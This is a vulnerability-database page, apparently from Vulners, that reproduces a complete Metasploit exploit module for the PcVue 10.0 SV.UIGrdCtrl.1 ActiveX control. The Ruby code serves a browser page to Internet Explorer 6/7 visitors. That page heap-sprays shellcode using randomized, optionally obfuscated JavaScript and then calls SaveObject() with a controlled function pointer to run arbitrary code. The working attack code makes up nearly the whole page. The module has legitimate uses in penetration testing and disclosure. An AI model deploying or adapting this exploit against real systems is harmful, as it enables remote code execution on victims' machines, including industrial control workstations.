Lucene search
K

PcVue 10.0 SV.UIGrdCtrl.1 'LoadObject()/SaveObject()' Trusted DWORD Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 14 Views

PcVue 10.0 SV.UIGrdCtrl.1 'LoadObject()/SaveObject()' Trusted DWORD Vulnerability. Allows remote attackers to execute arbitrary code

Code

                                                ##
# $Id: pcvue_func.rb 13889 2011-10-12 10:57:31Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => "PcVue 10.0 SV.UIGrdCtrl.1 'LoadObject()/SaveObject()' Trusted DWORD Vulnerability",
			'Description'    => %q{
				This module exploits a function pointer control within SVUIGrd.ocx of PcVue 10.0.
				By setting a dword value for the SaveObject() or LoadObject(), an attacker can
				overwrite a function pointer and execute arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Luigi Auriemma', # original find
					'mr_me <steventhomasseeley[at]gmail-com>',	 # msf module
					'TecR0c <roccogiovannicalvi[at]gmail-com >',# msf module
				],
			'Version'        => '$Revision: 13889 $',
			'References'     =>
				[
					[ 'BID', '49795'],
					[ 'URL', 'http://aluigi.altervista.org/adv/pcvue_1-adv.txt'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'InitialAutoRunScript' => 'migrate -f'
				},
			'Payload'        =>
				{
					'Space'           => 1024,
					'BadChars'        => "\x00\x0a\x0d",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[
						#IE 6/7 on Widnows XP and Vista
						'Internet Explorer 6 / Internet Explorer 7', 
						{ 
							'Ret'    => 0x0a0a0a0a,
							'Offset' => 1000 
						} 
					]
				],
			'DisclosureDate' => 'Oct 5 2011',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('FILENAME', [ false, 'The file name.',  'msf.html']),
					OptBool.new('OBFUSCATE', [false, 'Enable JavaScript Obfuscation', true]),
				], self.class)
	end

	def on_request_uri(cli, request)

		#If not IE, we don't continue
		agent = request.headers['User-Agent']
		if agent !~ /MSIE [6|7]\.0/
			print_error("Target not supported: #{agent.to_s}")
			send_not_found(cli)
			return
		end

		# Encode the shellcode
		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

		# Setup exploit buffers
		nops      = Rex::Text.to_unescape([target.ret].pack('V'))
		ret       = "0x%08x" % target.ret

		blocksize = 0x50000
		fillto    = 200

		# Randomize the javascript variable names
		obj_name     = rand_text_alpha(rand(100) + 1)
		j_shellcode  = rand_text_alpha(rand(100) + 1)
		j_nops       = rand_text_alpha(rand(100) + 1)
		j_ret        = rand_text_alpha(rand(100) + 1)
		j_headersize = rand_text_alpha(rand(100) + 1)
		j_slackspace = rand_text_alpha(rand(100) + 1)
		j_fillblock  = rand_text_alpha(rand(100) + 1)
		j_block      = rand_text_alpha(rand(100) + 1)
		j_memory     = rand_text_alpha(rand(100) + 1)
		j_counter    = rand_text_alpha(rand(30) + 2)
		j_txt	     = rand_text_alpha(rand(8) + 4)

		js = <<-EOF
		var #{j_shellcode} = unescape('#{shellcode}');
		var #{j_nops} = unescape("#{nops}");
		var #{j_headersize} = 20;
		var #{j_slackspace} = #{j_headersize} + #{j_shellcode}.length;
		while(#{j_nops}.length < #{j_slackspace}) {
    			#{j_nops} += #{j_nops};
		}
		var #{j_fillblock} = #{j_nops}.substring(0, #{j_slackspace});
		var #{j_block} = #{j_nops}.substring(0, #{j_nops}.length - #{j_slackspace});
		while((#{j_block}.length + #{j_slackspace}) < #{blocksize}) {
    			#{j_block} = #{j_block} + #{j_block} + #{j_fillblock};
		}

		#{j_memory} = new Array();
		for(#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++){
    			#{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode} ;
		}

		function main(){ 
			#{obj_name}.SaveObject("#{j_txt}.txt", #{ret}, 0);
		}
		EOF

		js = js.gsub(/^\t\t/, '')

		#JS obfuscation on demand
		if datastore['OBFUSCATE']
			js = ::Rex::Exploitation::JSObfu.new(js)
			js.obfuscate
			main_sym = js.sym('main')
		else
			main_sym = "main"
		end

		content = <<-EOF
		<html>
		<body>
		<object classid='clsid:2BBD45A5-28AE-11D1-ACAC-0800170967D9' id='#{obj_name}' ></object>
		<script language='javascript'>
		#{js}
		#{main_sym}();
		</script>
		</body>
		</html>
		EOF

		#Remove the extra tabs from content
		content = content.gsub(/^\t\t/, '')

		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}")
		send_response(cli, content, {'Content-Type'=>'text/html'})
	end
end


=begin
Tested successfully on the following platforms:
 - PcVue 10.0 (SVUIGrd.ocx v1.5.1.0) on Internet Explorer 6 & 7, Windows XP SP3

Class SVUIGrdCtrl
ProgID: SV.UIGrdCtrl.1
GUID: {2BBD45A5-28AE-11D1-ACAC-0800170967D9}
Number of Interfaces: 1
Default Interface: ISVUIGrd
RegKey Safe for Script: False
RegkeySafe for Init: False
KillBitSet: False
=end
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation